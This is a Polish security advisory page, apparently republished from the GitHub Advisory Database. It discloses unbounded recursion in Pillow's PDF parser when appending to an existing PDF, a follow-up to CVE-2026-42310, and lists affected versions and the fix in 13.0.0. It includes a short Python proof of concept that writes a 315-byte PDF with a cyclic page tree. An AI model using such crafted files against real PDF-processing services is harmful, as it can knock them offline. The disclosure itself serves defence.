Pillow: Nieograniczona rekursja podczas parsowania drzewa stron lub łańcucha trailer w PDF (niekompletna poprawka dla CVE-2026-42310)
Podsumowanie
Gdy aplikacja dopisuje dane do istniejącego pliku PDF za pomocą Image.save(..., format="PDF", append=True), Pillow analizuje ten plik przy użyciu PdfParser. Dwa rekurencyjne parsery nie posiadają skutecznego ograniczenia. linearize_page_tree podąża za /Kids bez zbioru odwiedzonych elementów ani limitu głębokości, w związku z czym cykliczne lub zduplikowane drzewo stron rekursuje w nieskończoność. read_prev_trailer odrzuca jedynie dokładnie powtórzony offset /Prev, więc długi łańcuch unikalnych offsetów nadal powoduje rekursję. Zabezpieczenie przed pętlami w sekcji trailer dodane dla CVE-2026-42310 nie obejmuje żadnego z tych przypadków.
Szczegóły
linearize_page_tree wykonuje rekursję na /Kids bez weryfikacji cykli lub limitu głębokości:
src/PIL/PdfParser.py:1078-1092
read_prev_trailer wykrywa jedynie powtórzony offset:
src/PIL/PdfParser.py:697-720(sprawdzenieprocessed_offsetsw:714-718stanowi poprawkę dla CVE-2026-42310; łańcuch unikalnych offsetów omija to zabezpieczenie)
PoC
from PIL import PdfParser
# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
1: b"<< /Type /Catalog /Pages 2 0 R >>",
2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
off[oid] = len(buf)
buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)
PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way
Uruchomienie:
$ python 11_poc.py
RecursionError: maximum recursion depth exceeded
Plik o rozmiarze 315 bajtów wywołuje rekursję podczas przetwarzania. Zduplikowane (niecykliczne) drzewo /Kids generuje natomiast ponadliniowe zużycie procesora i pamięci, a długi łańcuch /Prev o unikalnych offsetach wyzwala rekursję po stronie trailera.
Wpływ
Usługa dołączająca dane do plików PDF dostarczonych przez użytkownika, na przykład potok stemplowania lub nakładania znaków wodnych, może zostać doprowadzona do nieprzechwyconej rekursji lub znacznego zużycia procesora i pamięci przed zapisaniem jakiegokolwiek obrazu. Stanowi to kontynuację CVE-2026-42310. Ponieważ zasady Pillow zniechęcają do zgłaszania zwykłych wyjątków Pythona jako odmowy usługi (DoS), kluczowy jest przypadek cyklicznego drzewa, który powoduje zużycie procesora i pamięci, zamiast jedynie wywoływać RecursionError. Poprawka wprowadza zbiór odwiedzonych elementów oraz limit głębokości w obu parserach.
Co trzeba zrobić
Zaktualizuj bibliotekę Pillow do wersji 13.0.0 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | pillow | >= 5.1.0, < 13.0.0 | 13.0.0 |
Odnośniki
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528
- https://nvd.nist.gov/vuln/detail/CVE-2026-112895
- https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Słabość (CWE)
CWE-674- Platforma
- Python (PyPI)
- Paczka
pillow- Ujawniono
- 20.10.2026
- Aktualizacja
- 20.10.2026 23:38
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-p4wg-p73j-c528 - CC BY 4.0
Historia podatności: pillow
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 81
- Pierwsza → ostatnia
- 04.2014 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 1
Rozkład istotności
- Krytyczna 10
- Wysoka 53
- Średnia 16
- Niska 1
- Nieoceniona 1
Ujawnienia w latach
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 23
wcześniej: 12
-
Pillow: Nieograniczona rekursja podczas parsowania drzewa stron lub łańcucha trailer w PDF (niekompletna poprawka dla CVE-2026-42310) ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.